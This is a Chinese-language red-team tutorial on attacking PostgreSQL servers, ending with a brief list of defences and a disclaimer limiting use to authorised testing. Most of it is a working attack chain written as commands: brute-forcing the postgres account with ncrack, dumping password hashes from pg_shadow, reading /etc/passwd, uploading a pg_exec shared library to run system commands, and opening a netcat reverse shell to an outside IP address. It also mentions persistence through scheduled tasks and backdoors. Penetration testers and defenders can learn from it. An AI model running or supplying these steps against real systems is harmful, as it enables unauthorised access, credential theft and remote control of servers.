红队的 PostgreSQL 攻击教程
字数 730 2025-08-26 22:11:29
PostgreSQL渗透测试指南
1. 服务发现
1.1 使用Nmap扫描
nmap sqlserver
- 常用端口:5432 (PostgreSQL默认端口)
- 其他扫描工具选项:masscan、unicornscan
2. 服务访问
2.1 密码爆破
使用ncrack爆破默认postgres账户
# 解压rockyou字典
gunzip /usr/share/wordlists/rockyou.txt.gz
# 使用ncrack爆破
ncrack psql://sqlserver -u postgres -P /usr/share/wordlists/rockyou.txt
其他爆破工具
- Hydra
- Medusa
- Metasploit
2.2 连接数据库
psql --user postgres -h sqlserver
3. 服务侦察
3.1 用户和角色枚举
\du -- 列出所有角色和权限
select usename, passwd from pg_shadow; -- 获取用户和密码哈希
3.2 数据库和表枚举
\l -- 列出所有数据库
\dt -- 列出当前数据库中的表
4. 文件系统访问
4.1 目录列表
select pg_ls_dir('./'); -- 列出当前目录内容
4.2 文件读取
select pg_read_file('filename'); -- 读取文件内容
select pg_read_file('filename', offset, length); -- 读取文件部分内容
4.3 通过COPY命令读取文件
create table docs (data TEXT); -- 创建临时表
copy docs from '/etc/passwd'; -- 将文件内容复制到表中
select * from docs limit 10; -- 查看文件内容
5. 命令执行
5.1 使用pg_exec扩展
-
下载预编译的pg_exec.so库
curl https://github.com/Dionach/pgexec/blob/master/libraries/pg_exec-9.6.so -O pg_exec.so -
分割文件(PostgreSQL大对象限制2KB)
split -b 2048 pg_exec.so -
创建上传脚本
CNT=0; for f in x*; do echo '\set c'${CNT}' `base64 -w 0 '${f}'`'; echo 'INSERT INTO pg_largeobject (loid, pageno, data) values ('${LOID}', '${CNT}', decode(:'"'"c${CNT}"'"', '"'"'base64'"'"'))'; CNT=$(( CNT + 1 )); done > upload.sql -
上传并导出文件
select lo_creat(-1); -- 创建大对象,记下返回的LOID \include upload.sql -- 上传分割的文件块 select lo_export(16391, '/tmp/pg_exec.so'); -- 导出到目标系统 -
创建函数
CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE 'c' STRICT;
5.2 获取反向shell
-
本地设置监听器
nc -l -p 4444 -
执行反向shell
select sys('nc -e /bin/sh 172.16.65.140 4444'); -
升级到TTY
python -c 'import pty; pty.spawn("/bin/sh")'
6. 权限提升
6.1 检查PostgreSQL运行权限
select sys('whoami');
6.2 持久化方法
- 创建计划任务
- 安装后门服务
- 内核漏洞利用
7. 防御措施
- 强密码策略:避免使用默认账户和弱密码
- 网络隔离:限制PostgreSQL服务的网络访问
- 权限最小化:PostgreSQL服务账户不应有root权限
- 禁用危险函数:限制或禁用pg_read_file等危险函数
- 定期更新:保持PostgreSQL版本最新
- 日志监控:监控异常登录和查询行为
8. 总结
本指南详细介绍了从发现PostgreSQL服务到获取系统权限的全过程,包括:
- 服务发现与密码爆破
- 数据库信息收集
- 文件系统访问技术
- 命令执行与反向shell获取
- 权限提升思路
这些技术仅用于合法授权的渗透测试和安全研究,未经授权的使用可能违反法律。